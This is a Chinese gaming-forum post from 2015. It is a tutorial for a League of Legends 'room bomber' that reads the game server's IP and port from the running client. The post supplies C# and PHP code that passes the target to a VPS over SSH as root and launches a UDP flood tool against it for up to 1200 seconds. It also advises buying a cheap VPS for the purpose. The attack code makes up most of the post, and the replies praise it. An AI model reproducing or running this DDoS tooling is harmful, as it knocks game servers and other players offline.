查看: 2987|回复: 3

[经验分享] 制作LOL房间轰炸器教程+获取游戏中的服务器IP

[复制链接]
发表于 2015-5-11 14:48 | 显示全部楼层 |阅读模式
冒烟的左轮 2015-5-11 14:48 2987 3 显示全部楼层
获取IP
  1. wmic process where name="League of Legends.exe" get commandline
  2. pause
复制代码


制作LOL房间轰炸器教程


c#
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Management;
  4. using System.Management.Instrumentation;
  5. using System.Net;
  6. using System.Text.Regularexpressions;

  7. namespace League_IP
  8. {
  9.     internal class Lolip
  10.     {

  11.         private static void Main(string[] args)
  12.         {
  13.             Lolip ip1 = new Lolip();
  14.             List<string> result = ip1.wmi_process();  
  15.             int time = -1;
  16.             if (result.Count >= 1)
  17.             {
  18.                 Console.WriteLine("IP: " + result[0]);
  19.                 Console.WriteLine("Port: " + result[1]);
  20.                 string password = ip1.Menu();
  21.                 Console.WriteLine("Insert time of DDOS max 1200 sec");
  22.                 string time_input = Console.ReadLine();
  23.                 try
  24.                 {
  25.                     time = Convert.ToInt32(time_input);
  26.                 }
  27.                 catch (FormatException e)
  28.                 {
  29.                     Console.WriteLine("Input string is not a sequence of digits.");
  30.                 }
  31.                 catch (OverflowException e)
  32.                 {
  33.                     Console.WriteLine("The number cannot fit in an Int32.");
  34.                 }
  35.                 finally
  36.                 {
  37.                     if (time > 1200) time = 1200;

  38.                 }
  39.                 ip1.HTTPGet(result[0], result[1], password, time);
  40.             }

  41.         }

  42.         private string Menu()
  43.         {

  44.             Console.WriteLine(" Insert your passwrord");
  45.             string password = Console.ReadLine();
  46.             password = password.Trim();
  47.             string command = "";
  48.             do
  49.             {
  50.                 Console.WriteLine("Write ddos to start");
  51.                 command = Console.ReadLine();
  52.                 command = command.Trim();
  53.             } while (command != "ddos");
  54.             
  55.             return password;
  56.         }


  57.         private List<string> wmi_process()
  58.         {
  59.             string result = "";
  60.             List<string> iport = new List<string>();
  61.             try
  62.             {
  63.                 ManagementObjectSearcher searcher =
  64.                     new ManagementObjectSearcher("root\\CIMV2",
  65.                     "Select * FROM Win32_Process Where Caption = 'League of Legends.exe'");

  66.                 foreach (ManagementObject queryObj in searcher.Get())
  67.                 {
  68.                     Object out_query = queryObj["CommandLine"];
  69.                     result = out_query.ToString();
  70.                 }
  71.             }
  72.             catch (ManagementException e)
  73.             {
  74.                 Console.WriteLine("An error occurred while querying for WMI data: " + e.Message);
  75.             }
  76.             if (result.Length <= 1) return iport;

  77.             string pattern = """;

  78.             IList<int> indeces = new List<int>();

  79.             foreach (Match match in Regex.Matches(result, pattern))
  80.             {
  81.                 indeces.Add(match.Index);
  82.             }


  83.             int pos_split = indeces[indeces.Count - 2];
  84.             string split = result.Substring(pos_split + 1);
  85.             string ip_final = split.Substring(0, split.IndexOf(' ') + 1);
  86.             string port = split.Substring(ip_final.Length, 4);

  87.             ip_final = ip_final.Trim();
  88.             port = port.Trim();
  89.             iport.Add(ip_final);
  90.             iport.Add(port);

  91.             return iport;
  92.         }


  93.         private void HTTPGet(string target_ip, string port, string password, int time)
  94.         {

  95.             Console.WriteLine("Attack sent to target: " + target_ip + " on port " + port);
  96.             string str_time = Convert.ToString(time);
  97.             string address = string.Format(
  98.            "127.0.0.1/ssh_remote.php?ip={0}&port={1}&password={2}&time={3}",
  99.             Uri.EscapeDataString(target_ip),
  100.             Uri.EscapeDataString(port),
  101.             Uri.EscapeDataString(password),
  102.             Uri.EscapeDataString(str_time));
  103.             string text;
  104.             using (WebClient client = new WebClient())
  105.             {
  106.                 text = client.DownloadString(address);
  107.             }
  108.             Console.WriteLine(text);
  109.             Console.ReadLine();

  110.         }
  111.     }
  112. }
复制代码
ssh_remote.php
  1. <?php
  2. include('Net/SSH2.php');

  3. $ip = '127.0.0.1';
  4. $user = 'root';
  5. $pass = 'pass';


  6. $ssh = new Net_SSH2($ip);
  7. if (!$ssh->login($user, $pass)) {
  8.     exit('Login Failed');
  9. }

  10. $target_ip = filter_var($_GET['ip'], FILTER_SANITIZE_STRING);
  11. $password =  filter_var($_GET['password'],FILTER_SANITIZE_STRING);
  12. $port = filter_var($_GET['port'],FILTER_SANITIZE_STRING);
  13. $time = filter_var($_GET['time'],FILTER_SANITIZE_STRING);



  14. if($password == "password_here" )
  15. {
  16. $ssh->setTimeout(3);

  17. // Sample ddos script used, was Used Geminid or also called g3m, use a pl script or something else or do a simple udp flood doesn't matter
  18. $ssh->exec('./molly -U -h '.$target_ip.' -p '.$port.','.$port.' -t '.$time.' &');

  19. echo $ssh->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION)."\n";

  20. }
  21. else{
  22.   echo "error wrong password" ;
  23. }

  24. ?>
复制代码
使用ssh
  1. http://phpseclib.sourceforge.net/
复制代码
去买个便宜点的VPS就行了

点评

大家可以学习下这种方法,但是大家其实不用去想着炸房了,老马的服务器现在秒解ddos攻击,一般攻击基本无效,除非你的VPS网速能达到100G  发表于 2015-5-11 17:05
果然是技术宅,就是不一样  发表于 2015-5-11 17:03
发表于 2015-5-11 17:33 | 显示全部楼层
fox741520 2015-5-11 17:33 显示全部楼层
感谢分享,真牛有你更精彩!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则 返回列表 发新帖

快速回复 返回顶部 返回列表